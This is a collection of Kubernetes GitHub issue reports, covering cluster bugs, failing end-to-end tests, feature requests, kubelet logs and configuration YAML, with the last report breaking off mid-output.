i am having problems deleting a replication controller and related pods in minikube. i have followed the relevant documentation - \r \r https://kubernetes.io/docs/concepts/workloads/controllers/replicationcontroller/ deleting-a-replicationcontroller-and-its-pods \r \r i have used $kubectl delete rc rc_name -n kube_system \r and it recreates itself. i have also edited the rc and set set replicas to 0. \r some advice on this would be very welcome.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i create a statefulset with volumeclaimtemplates defined, after the statefulset finish creation, check the status of volumeclaimtemplates, find it's still pending like below:\r    \r   volumeclaimtemplates:\r   - metadata:\r       creationtimestamp: null\r       name: mongodbdir\r     spec:\r       accessmodes:\r       - readwriteonce\r       resources:\r         requests:\r           storage: 20gi\r       storageclassname: mongodb-storage\r     status:\r       phase: pending\r    \r \r but actually, the pvc have created:\r    \r root@hchenxa-1:~  kubectl  get pvc -n kube-system  | grep mongodb-storage\r mongodbdir-icp-mongodb-0        bound     mongodb-9.111.255.15             20gi       rwo            mongodb-storage            4d\r mongodbdir-icp-mongodb-1        bound     mongodb-9.111.255.131            20gi       rwo            mongodb-storage            4d\r mongodbdir-icp-mongodb-2        bound     mongodb-9.111.255.45             20gi       rwo            mongodb-storage            4d\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

failing jobs\r  sig-release-master-blocking gce-scale-performance  https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-scale-performance \r   failing tests\r   sig-scalability  density  feature:performance  should allow starting 30 pods per node using { replicationcontroller} with 0 secrets, 0 configmaps and 0 daemons  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/196 \r   sig-scalability  load capacity  feature:performance  should be able to handle 30 pods per node { replicationcontroller} with 0 secrets, 0 configmaps and 0 daemons  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/196 \r   triage results\r  ci-kubernetes-e2e-gce-scale-performance  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-scale-performance \r \r  /  /milestone v1.12\r \r /cc @tpepper @aishsundar \r @kubernetes/sig-scalability-test-failures

we generate an index for definitions.html. we should do the same for operations.html as well  ex: https://htmlpreview.github.io/?https://github.com/kubernetes/kubernetes/blob/head/docs/api-reference/autoscaling/v1/definitions.html https://htmlpreview.github.io/?https://github.com/kubernetes/kubernetes/blob/head/docs/api-reference/batch/v1/operations.html  @kubernetes/docs @caesarxuchao @bgrant0607

this is taken from https://github.com/kubernetes/kubernetes/issues/25067 issuecomment-229721345:  >  ...  extend the scheduledjob object to be able to create arbitrary objects rather than just jobs. basically, you could provide either a jobtemplatespec, or a  generic template  https://github.com/kubernetes/kubernetes/issues/23896 .

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-slow/346/  failed:  k8s.io  networking  k8s.io  granular checks: services  slow  should update endpoints: http {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:187 oct  1 17:27:45.342: failed to find expected endpoints: tries 39 command curl -q -s 'http://10.180.0.13:8080/dial?request=hostname&protocol=http&host=10.0.88.79&port=80&tries=1' retrieved map netserver-1:{} netserver-2:{}  expected map netserver-1:{} netserver-2:{}   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking_utils.go:185

the legacy non-cri implementation in the dockertools has been removed from the codebase.  changes  https://github.com/kubernetes/kubernetes/blob/v1.6.3/pkg/kubelet/dockertools/docker_manager_windows.go  previously introduced to the dockertools package need to be ported to the new docker-cri implementation   pkg/kubelet/dockershim  . the port should be relatively straightforward, but manual testing is required given that there is no ci builds  or are there? .\r \r @kubernetes/sig-windows-bugs \r @dchen1107

joining a cluster from aws fails in kubefed 1.7. the aws cluster is also k8s 1.7\r the federation is running in a gke cluster 1.7.0. \r \r    \r $ kubefed join aws --host-cluster-context=gke --context=fed\r error from server  forbidden : clusterroles.rbac.authorization.k8s.io \ federation-controller-manager:fed-aws-gke\  is forbidden: attempt to grant extra privileges:  policyrule{resources: \  \  , apigroups: \  \  , verbs: \  \  } policyrule{nonresourceurls: \ /healthz\  , verbs: \ get\  }  user=&{admin admin  system:authenticated  map  } ownerrules=   ruleresolutionerrors=  \r    \r \r this same command works in kubefed 1.6.6\r i'm able to access the aws cluster using its context.\r \r  \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1 - create a gke cluster\r 2 - create an aws cluster  i used conjure-up \r 3 - kubefed  1.7  init on gke cluster\r 4 - join the aws cluster\r 5 - it should fail\r \r if kubefed 1.6 is used, it works.\r joining a gke or on-prem cluster also works as expected\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r    / \r   what happened  :\r i've updated the api in  50877. but no auto-generated files have be updated when running updating shell scripts. unlike pr  49530.\r \r   what you expected to happen  :\r it should works as before. \r \r   how to reproduce it  as minimally and precisely as possible   :\r just use pr  50877, and  make generated_files \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r dockershim panic when listing containers because of  opts.filters  not initialized:\r \r https://github.com/kubernetes/kubernetes/blob/505ccb88da14d8dda25cb9ea4db8578666b9cc0e/pkg/kubelet/dockershim/docker_image.go l35-l39\r \r also when imgspec.image is empty string, dockershim returns an empty image list which is not expected.  we should not set opts.filters in this case .\r \r   what you expected to happen  :\r \r show correct image list.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r crictl images\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r \r i see the doc of kuberentes device plugin at this  link  https://kubernetes.io/docs/concepts/cluster-administration/device-plugins/ \r \r could i ask if the device plugin support normal nic that we use in our server or computer for container?\r \r thanks\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r the previous discussion happened in  5607, which is pretty old and with no background of cri, no to mention device plugin. also, i believe the original requirement in  5607 should have already been fixed by device plugin.\r \r while new requirements showing up is:   how to specify devices in container by user, or per dp requirement  ? and how can we make this work with current dp design. \r \r this is actually needed during implementing many device plugins. one example is rdma: https://github.com/hustcat/k8s-rdma-device-plugin, in which case, /dev/infiniband/rdma_cm  should be passed in all container which use rdma device for run rdma application in container.\r \r @hustcat please correct me if i mis-understood sth.\r \r others devices including:   /dev/dri/renderd128   /dev/infiniband  etc. \r \r   what you expected to happen  :\r \r we may need to collect user requirements first, and re-visit dp to see how to support this.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r cc @renaudwastaken @vikaschoudhary16 @derekwaynecarr @vishh @jiayingz \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r i created a tcp service with 3 iperf-server members. a iperf-client pod connected the cluster ip. the connection could established but there were no data output on stout and the process hang.\r \r   what you expected to happen  :\r the iperf stream can communicate using iptables mode service.\r   how to reproduce it  as minimally and precisely as possible   :\r  1  create iperf-server deployment\r    \r   cat iperf-server.yaml\r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: iperf-server\r   labels:\r     deployment: iperf-server\r spec:\r   replicas: 2\r   selector:\r     matchlabels:\r       run: iperf-server\r   template:\r     metadata:\r       labels:\r         run: iperf-server\r     spec:\r       containers:\r       - name: iperf-server\r         image: networkstatic/iperf3\r         command:\r             - sleep\r             - \ 3600\ \r         imagepullpolicy: ifnotpresent\r       restartpolicy: always\r   kubectl create -f iperf-server.yaml\r    \r  2 cerate iperf-client using the similar yaml file \r  3 create a service\r    \r   kubectl expose deployment iperf-server --port=11111 --target-port=5201\r    \r  4  execute iperf command in server in every server pod:\r    \r   kubectl exec -it iperf-server-xxxxxxx -- iperf3 -s\r    \r  5 execute iperf command in client pod:\r    \r   kubectl exec -it iperf-client-xxxxxxx -- iperf3 -c cluster-ip -p 11111\r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.3\r - cloud provider or hardware configuration: vm in vcenter\r - os  e.g. from /etc/os-release : centos 7.1\r - kernel  e.g.  uname -a  : 3.10.0-514.el7.x86_64\r - install tools: none\r - others: none\r

is this a bug report or feature request?  : \r    what happened  :\r ingress backend reporting unhealthy when it's actually healthy. hence i can't connect to it via the ingress.\r \r i was able to connect to the service via the local busybox.\r \r   what you expected to happen  :\r expected to be able to connect to the backend server via port 80.\r \r   how to reproduce it  as minimally and precisely as possible   :\r the follow is the yaml is the exact config.\r \r    \r kind: service\r apiversion: v1\r metadata:\r   name: marketing\r spec:\r   ports:\r   - protocol: tcp\r     port: 80\r   selector: {}\r   type: nodeport\r ---\r kind: endpoints\r apiversion: v1\r metadata:\r   name: marketing\r subsets: \r   - addresses:\r     - ip: 52.91.62.189\r     ports:\r     - port: 80\r ---\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: marketing-temp\r spec:\r   backend:\r     servicename: marketing\r     serviceport: 80\r ---\r   temp pod for testing\r apiversion: v1\r kind: pod\r metadata:\r   name: busybox\r   namespace: default\r spec:\r   containers:\r   - image: odise/busybox-curl\r     command:\r       - sleep\r       - \ 3600\ \r     imagepullpolicy: ifnotpresent\r     name: busybox\r   restartpolicy: always\r    \r   anything else we need to know?  :\r the aim of the task is to setup a permanent ingress that connects to a temporary service. once the service is containerized and relocated to the cluster the select will be updated and the legacy server shutdown.\r \r   environment  :\r - kubernetes version 1.9.6:\r - cloud provider or hardware configuration: gcp\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r   what happened  : log shows kube-mark-drop not found the bin in windows kubelet, something that doesn't looks fine in windows.\r \r   what you expected to happen  : just have clean run without these errors?\r \r   how to reproduce it  as minimally and precisely as possible   : run kubelet on windows\r \r \r   anything else we need to know?  :\r \r   environment  : on premises\r - kubernetes version  use  kubectl version  : v1.10.5\r - cloud provider or hardware configuration: on-premises\r - os  e.g. from /etc/os-release : windows server 1803\r - kernel  e.g.  uname -a  : \r  environment ::osversion.version\r \r major  minor  build  revision\r -----  -----  -----  --------\r 10     0      17134  0\r - install tools:\r - others:\r \r \r logs:\r \r    \r i0702 14:14:30.519446    4788 cri_stats_provider.go:276  unable to find cadvisor stats for sandbox \ 92da8859d89ecd7a2f0535a505718f9b600290ea6e8b6d6bacac3edcde7b3603\ \r e0702 14:14:30.519446    4788 cri_stats_provider.go:437  unable to fetch container log stats for path \\var\\log\\pods\\6f16e894-7aca-11e8-b7b3-005056b2c3f5\\windowswebserver: du not supported for this build. \r i0702 14:14:30.519446    4788 cri_stats_provider.go:156  unable to find cadvisor stats for \ 50011a4e42aaec5e1438806ad55cff07b31f36768027021bbbad4542ea9b763a\ \r e0702 14:14:30.519446    4788 helpers.go:739  eviction manager: failed to construct signal: \ allocatablememory.available\  error: system container \ pods\  not found in metrics\r i0702 14:14:30.519446    4788 helpers.go:840  eviction manager: observations: signal=memory.available, available: 3128552ki, capacity: 4193780ki, time: 2018-07-02 14:14:28.1384741 -0300 -03 m=+350274.555505701\r i0702 14:14:30.519446    4788 helpers.go:840  eviction manager: observations: signal=nodefs.available, available: 0, capacity: 0, time: 2018-07-02 14:14:28.1384741 -0300 -03 m=+350274.555505701\r i0702 14:14:30.519446    4788 helpers.go:840  eviction manager: observations: signal=imagefs.available, available: 44210492ki, capacity: 62350332ki, time: 2018-07-02 14:14:28.507472 -0300 -03\r w0702 14:14:30.519446    4788 helpers.go:812  eviction manager: no observation found for eviction signal nodefs.inodesfree\r i0702 14:14:30.519446    4788 eviction_manager.go:337  eviction manager: no resources are starved\r i0702 14:14:31.019490    4788 kubelet.go:1946  syncloop  housekeeping, skipped : sources aren't ready yet.\r i0702 14:14:33.019496    4788 kubelet.go:1946  syncloop  housekeeping, skipped : sources aren't ready yet.\r i0702 14:14:34.268403    4788 kubelet.go:2127  container runtime status: runtime conditions: runtimeready=true reason: message:, networkready=true reason: message:\r i0702 14:14:34.355398    4788 kubelet.go:1270  container garbage collection succeeded\r i0702 14:14:35.019467    4788 kubelet.go:1946  syncloop  housekeeping, skipped : sources aren't ready yet.\r i0702 14:14:37.020442    4788 kubelet.go:1946  syncloop  housekeeping, skipped : sources aren't ready yet.\r i0702 14:14:39.019419    4788 kubelet.go:1946  syncloop  housekeeping, skipped : sources aren't ready yet.\r i0702 14:14:39.270336    4788 kubelet.go:2127  container runtime status: runtime conditions: runtimeready=true reason: message:, networkready=true reason: message:\r e0702 14:14:40.048409    4788 file.go:76  unable to read manifest path \ c:\\\\etc\\\\kubernetes\\\\manifests\ : source file is unsupported in this build\r i0702 14:14:40.520401    4788 eviction_manager.go:230  eviction manager: synchronize housekeeping\r i0702 14:14:41.019397    4788 kubelet.go:1946  syncloop  housekeeping, skipped : sources aren't ready yet.\r i0702 14:14:42.540295    4788 cri_stats_provider.go:276  unable to find cadvisor stats for sandbox \ 92da8859d89ecd7a2f0535a505718f9b600290ea6e8b6d6bacac3edcde7b3603\ \r e0702 14:14:42.540295    4788 cri_stats_provider.go:437  unable to fetch container log stats for path \\var\\log\\pods\\6f16e894-7aca-11e8-b7b3-005056b2c3f5\\windowswebserver: du not supported for this build. \r i0702 14:14:42.540295    4788 cri_stats_provider.go:156  unable to find cadvisor stats for \ 50011a4e42aaec5e1438806ad55cff07b31f36768027021bbbad4542ea9b763a\ \r e0702 14:14:42.540295    4788 helpers.go:739  eviction manager: failed to construct signal: \ allocatablememory.available\  error: system container \ pods\  not found in metrics\r i0702 14:14:42.540295    4788 helpers.go:840  eviction manager: observations: signal=nodefs.available, available: 0, capacity: 0, time: 2018-07-02 14:14:40.1723243 -0300 -03 m=+350286.589355901\r i0702 14:14:42.540295    4788 helpers.go:840  eviction manager: observations: signal=imagefs.available, available: 44210492ki, capacity: 62350332ki, time: 2018-07-02 14:14:40.528321 -0300 -03\r i0702 14:14:42.540295    4788 helpers.go:840  eviction manager: observations: signal=memory.available, available: 3128996ki, capacity: 4193780ki, time: 2018-07-02 14:14:40.1723243 -0300 -03 m=+350286.589355901\r w0702 14:14:42.540295    4788 helpers.go:812  eviction manager: no observation found for eviction signal nodefs.inodesfree\r i0702 14:14:42.540295    4788 eviction_manager.go:337  eviction manager: no resources are starved\r i0702 14:14:43.019370    4788 kubelet.go:1946  syncloop  housekeeping, skipped : sources aren't ready yet.\r i0702 14:14:44.274273    4788 kubelet.go:2127  container runtime status: runtime conditions: runtimeready=true reason: message:, networkready=true reason: message:\r i0702 14:14:44.905345    4788 reflector.go:428  k8s.io/kubernetes/pkg/kubelet/kubelet.go:461: watch close -  v1.node total 47 items received\r i0702 14:14:45.019312    4788 kubelet.go:1946  syncloop  housekeeping, skipped : sources aren't ready yet.\r i0702 14:14:47.020320    4788 kubelet.go:1946  syncloop  housekeeping, skipped : sources aren't ready yet.\r e0702 14:14:48.690213    4788 kubelet_network.go:225  failed to ensure that nat chain kube-mark-drop exists: error creating chain \ kube-mark-drop\ : executable file not found in %path%: \r i0702 14:14:49.019252    4788 kubelet.go:1946  syncloop  housekeeping, skipped : sources aren't ready yet.\r i0702 14:14:49.276208    4788 kubelet.go:2127  container runtime status: runtime conditions: runtimeready=true reason: message:, networkready=true reason: message:\r    \r

   \r \r   what happened  :\r \r i'm triggering docker slaves from my jenkins master. jenkins connectes kubernetes services and starts kubernetes pods. this pods requires some disks for persistent data compile results actually . i'm connecting azure premium managed disk to this slaves pods . connecting disks takes at least 10 minutes. i'm using d4s_v3 - 4vcpu - 16ram virtual machines.\r \r   here is my kubelet logs   :\r \r    \r aug 06 12:09:35 aks-agentpool-12873730-1 kubelet 1756 : i0806 12:09:35.906299    1756 kubelet_node_status.go:491  using node hostname from cloudprovider: \ aks-agentpool-12873730-1\ \r \r aug 06 12:09:29 aks-agentpool-12873730-1 kubelet 1756 : e0806 12:09:29.965335    1756 file.go:76  unable to read manifest path \ /etc/kubernetes/manifests\ : path does not exist, ignoring\r aug 06 12:09:26 aks-agentpool-12873730-1 kubelet 1756 : i0806 12:09:26.613745    1756 server.go:796  get /stats/summary:  7.883039ms  200   ruby  10.244.5.60:44376 \r aug 06 12:09:25 aks-agentpool-12873730-1 kubelet 1756 : i0806 12:09:25.781823    1756 kubelet_node_status.go:491  using node hostname from cloudprovider: \ aks-agentpool-12873730-1\ \r aug 06 12:09:21 aks-agentpool-12873730-1 kubelet 1756 : e0806 12:09:21.092330    1756 pod_workers.go:186  error syncing pod f13eb1ad-9970-11e8-8f58-0a58ac1f107d  \ yocto-agent-10ssr-3x38j_jen\r kins f13eb1ad-9970-11e8-8f58-0a58ac1f107d \  , skipping: timeout expired waiting for volumes to attach or mount for pod \ jenkins\ /\ yocto-agent-10ssr-3x38j\ . list of unmounted volumes= output \r . list of unattached volumes= output workspace-volume default-token-vx9mp \r aug 06 12:09:21 aks-agentpool-12873730-1 kubelet 1756 : e0806 12:09:21.092261    1756 kubelet.go:1640  unable to mount volumes for pod \ yocto-agent-10ssr-3x38j_jenkins f13eb1ad-9970-11e8-8f5\r 8-0a58ac1f107d \ : timeout expired waiting for volumes to attach or mount for pod \ jenkins\ /\ yocto-agent-10ssr-3x38j\ . list of unmounted volumes= output . list of unattached volumes= output w\r orkspace-volume default-token-vx9mp ; skipping pod\r aug 06 12:09:15 aks-agentpool-12873730-1 kubelet 1756 : i0806 12:09:15.747747    1756 kubelet_node_status.go:491  using node hostname from cloudprovider: \ aks-agentpool-12873730-1\ \r aug 06 12:09:09 aks-agentpool-12873730-1 kubelet 1756 : e0806 12:09:09.965090    1756 file.go:76  unable to read manifest path \ /etc/kubernetes/manifests\ : path does not exist, ignoring\r aug 06 12:09:05 aks-agentpool-12873730-1 kubelet 1756 : i0806 12:09:05.710028    1756 kubelet_node_status.go:491  using node hostname from cloudprovider: \ aks-agentpool-12873730-1\ \r    \r \r   pod  \r    \r name:                      yocto-agent-10ssr-sjcxn\r namespace:                 jenkins\r node:                      aks-agentpool-12873730-1/10.240.0.5\r start time:                mon, 06 aug 2018 14:58:09 +0300\r labels:                    jenkins=slave\r                            jenkins/yocto-agent=true\r annotations:               <none>\r status:                    terminating  lasts 14m \r termination grace period:  30s\r ip:\r containers:\r   slave:\r     container id:\r     image:                  /builder-yocto-slave:3\r     image id:\r     port:          <none>\r     host port:     <none>\r     command:\r       cat\r     state:          terminated\r       exit code:    0\r       started:      mon, 01 jan 0001 00:00:00 +0000\r       finished:     mon, 01 jan 0001 00:00:00 +0000\r     ready:          false\r     restart count:  0\r     environment:    <none>\r     mounts:\r       /home/jenkins from workspace-volume  rw \r       /output from output  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-vx9mp  ro \r   jnlp:\r     container id:\r     image:          jenkins/jnlp-slave:alpine\r     image id:\r     port:           <none>\r     host port:      <none>\r     state:          terminated\r       exit code:    0\r       started:      mon, 01 jan 0001 00:00:00 +0000\r       finished:     mon, 01 jan 0001 00:00:00 +0000\r     ready:          false\r     restart count:  0\r     environment:\r       jenkins_secret:                \r       jenkins_name:    yocto-agent-10ssr-sjcxn\r       jenkins_url:                    \r       home:            /home/jenkins\r     mounts:\r       /home/jenkins from workspace-volume  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-vx9mp  ro \r conditions:\r   type           status\r   initialized    true\r   ready          false\r   podscheduled   true\r volumes:\r   output:\r     type:       persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:  yocto-premium-output\r     readonly:   false\r   workspace-volume:\r     type:    emptydir  a temporary directory that shares a pod's lifetime \r     medium:\r   default-token-vx9mp:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-vx9mp\r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason                  age                from                               message\r   ----     ------                  ----               ----                               -------\r   normal   scheduled               22m                default-scheduler                  successfully assigned yocto-agent-10ssr-sjcxn to aks-agentpool-12873730-1\r   normal   successfulmountvolume   22m                kubelet, aks-agentpool-12873730-1  mountvolume.setup succeeded for volume \ workspace-volume\ \r   normal   successfulmountvolume   22m                kubelet, aks-agentpool-12873730-1  mountvolume.setup succeeded for volume \ default-token-vx9mp\ \r   normal   successfulattachvolume  21m                attachdetach-controller            attachvolume.attach succeeded for volume \ pvc-f2ad9da3-90a6-11e8-a8f5-0a58ac1f149a\ \r   warning  failedmount             15m  x3 over 20m   kubelet, aks-agentpool-12873730-1  unable to mount volumes for pod \ yocto-agent-10ssr-sjcxn_jenkins fce1a7aa-996f-11e8-8f58-0a58ac1f107d \ : timeout expired waiting for volumes to attach or mount for pod \ jenkins\ /\ yocto-agent-10ssr-sjcxn\ . list of unmounted volumes= output . list of unattached volumes= output workspace-volume default-token-vx9mp \r \r    \r \r   pv / pvc log  \r    \r name:          yocto-premium-output\r namespace:     jenkins\r storageclass:  managed-premium\r status:        bound\r volume:        pvc-f2ad9da3-90a6-11e8-a8f5-0a58ac1f149a\r labels:        <none>\r annotations:   pv.kubernetes.io/bind-completed=yes\r                pv.kubernetes.io/bound-by-controller=yes\r                volume.beta.kubernetes.io/storage-provisioner=kubernetes.io/azure-disk\r finalizers:     kubernetes.io/pvc-protection \r capacity:      100gi\r access modes:  rwo\r events:        <none>\r    \r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.6\ , gitcommit:\ a21fdbd78dde8f5447f5f6c331f7eb6f80bd684e\ , gittreestate:\ clean\ , builddate:\ 2018-07-26t10:04:08z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r     azure kubernetes service \r

\r   is this a bug report or feature request?  : \r  \r \r   what happened  :\r \r in a windows cluster, containers can get scheduled on windows nodes where they will never work.\r \r warning failed 54m  x3 over 54m  kubelet, 35934k8s9000 failed to pull image \ coredns/coredns:1.2.2\ : rpc error: code = unknown desc = no matching manifest for windows/amd64 in the manifest list entries\r \r   what you expected to happen  :\r \r coredns starts and runs on linux master nodes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r build a windows cluster.\r \r note:  i first encountered this issue when deploying with acs-engine:\r \r https://github.com/azure/acs-engine/issues/4011\r \r but it occurs to me that it should be mirrored here, so that the relevant node selectors can be included in the canonical add-on directory.\r \r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r modify the coredns configuration to use the   forward  plugin  https://coredns.io/plugins/forward/  instead of the existing  proxy  plugin.\r \r   why is this needed  :\r the  forward  plugin is the “new” version of the  proxy  plugin  and is faster because it re-uses connections to the upstreams.\r \r \r /assign

what would you like to be added  :\r we'd like to have the prometheus stack   kube-prometheus  https://github.com/coreos/prometheus-operator/tree/master/contrib/kube-prometheus   running in our scalability tests.\r \r   why is this needed  :\r there are couple of reasons:\r \r 1. it will simplify writing sli assertions/tests that are based on metrics not necessarily exported on master. some examples here are the new in-cluster network programming latency sli  exported in kube-proxy  or soon to be implemented rtt sli where the metric will be exported in regular pods  probes . with prometheus stack, collecting and aggregating such metrics is very simple.\r 2. kube-prometheus provides many useful metrics about the state of the cluster, such metrics might be invaluable when debugging scalability test failures.\r 3. it mimics what customers do in their cluster, making the test setup more realistic.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r log information: https://github.com/xichengliudui/public-repo/blob/master/logs.md\r \r ref: https://github.com/kubernetes/kubernetes/pull/75260

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce/23447/  failed:  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: udp  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:104 expected error:     < errors.statuserror | 0xc820c8ea80>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ pods \\\ \\\  not found\ ,             reason: \ notfound\ ,             details: {name: \ \ , group: \ \ , kind: \ pods\ , causes: nil, retryafterseconds: 0},             code: 404,         },     }     pods \ \  not found not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking_utils.go:483

kubernetes version  : client version: version.info{major:\   1  \ , minor:\   3  \ , gitversion:\ v1.3.0\ , gitcommit:\ 283137936a498aed572ee22af6774b6fb6e9fd94\ , gittreestate:\ clean\ , builddate:\ 2016-07-01t19:26:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\   1  \ , minor:\   3  \ , gitversion:\ v1.3.5\ , gitcommit:\ b0deb2eb8f4037421077f77cb163dbb4c0a2a9f5\ , gittreestate:\ dirty\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  : i am using minikube version: v0.10.0 -   os    e.g. from /etc/os-release :       name=boot2docker version=1.11.1 id=boot2docker id_like=tcl version_id=1.11.1 pretty_name=\ boot2docker 1.11.1  tcl 7.1 ; master : 901340f - fri jul  1 22:52:19 utc 2016\  ansi_color=\ 1;34\  home_url=\ http://boot2docker.io\  support_url=\ https://github.com/boot2docker/boot2docker\  bug_report_url=\ https://github.com/boot2docker/boot2docker/issues\      -   kernel    e.g.  uname -a  :   linux minikube 4.4.14-boot2docker  1 smp fri jul 1 21:46:36 utc 2016 x86_64 gnu/linux -   install tools  :    http://kubernetes.io/docs/getting-started-guides/minikube/ -   others  : only one node running.    what happened  :  i try to run n jobs against a namespace called alice with a quota like the following one:      $ kubectl describe resourcequotas --namespace=alice name:       compute-resources namespace:  alice resource    used    hard --------    ----    ---- pods        0   4      for creating the jobs i am using the api extensions/v1beta1 and i am using python for doing so:      python endpoint = '/apis/extensions/v1beta1/namespaces/{ns}/jobs'.format      ns=os.getenv 'experiment'    def create_job job_name, docker_img, shared_dir :     job_description = {         \ kind\ : \ job\ ,         \ apiversion\ : \ extensions/v1beta1\ ,         \ metadata\ : {             \ name\ : job_name,         },         \ spec\ : {             \ autoselector\ : true,             \ template\ : {                 \ metadata\ : {                     \ name\ : job_name,                 },                 \ spec\ : {                     \ containers\ :                           {                             \ name\ : job_name,                             \ image\ : docker_img,                             \ volumemounts\ :                                   {                                     \ name\ : job_name,                                     \ mountpath\ : \ /data\                                  }                                                       },                      ,                     \ volumes\ :                           {                             \ name\ : job_name,                             \ hostpath\ : {                                 \ path\ : shared_dir                             }                         }                      ,                     \ restartpolicy\ : \ never\                  }             }         }     }      response = requests.post '{}{}'.format 'https://kubernetes', endpoint ,                              json=job_description,                              headers={'authorization': 'bearer {}'.format                                   token                               ,                              'content-type': 'application/json'},                              verify=ca_cert_path        test response.ok is true etc...      then the function gets called 24 times, for example  all with the same task, so the execution time for each one should be more or less the same . next i check the state of the jobs with the following command:      $ kubectl get jobs --namespace=alice name                                      desired   successful   age 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-0    1         1            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-1    1         1            6s 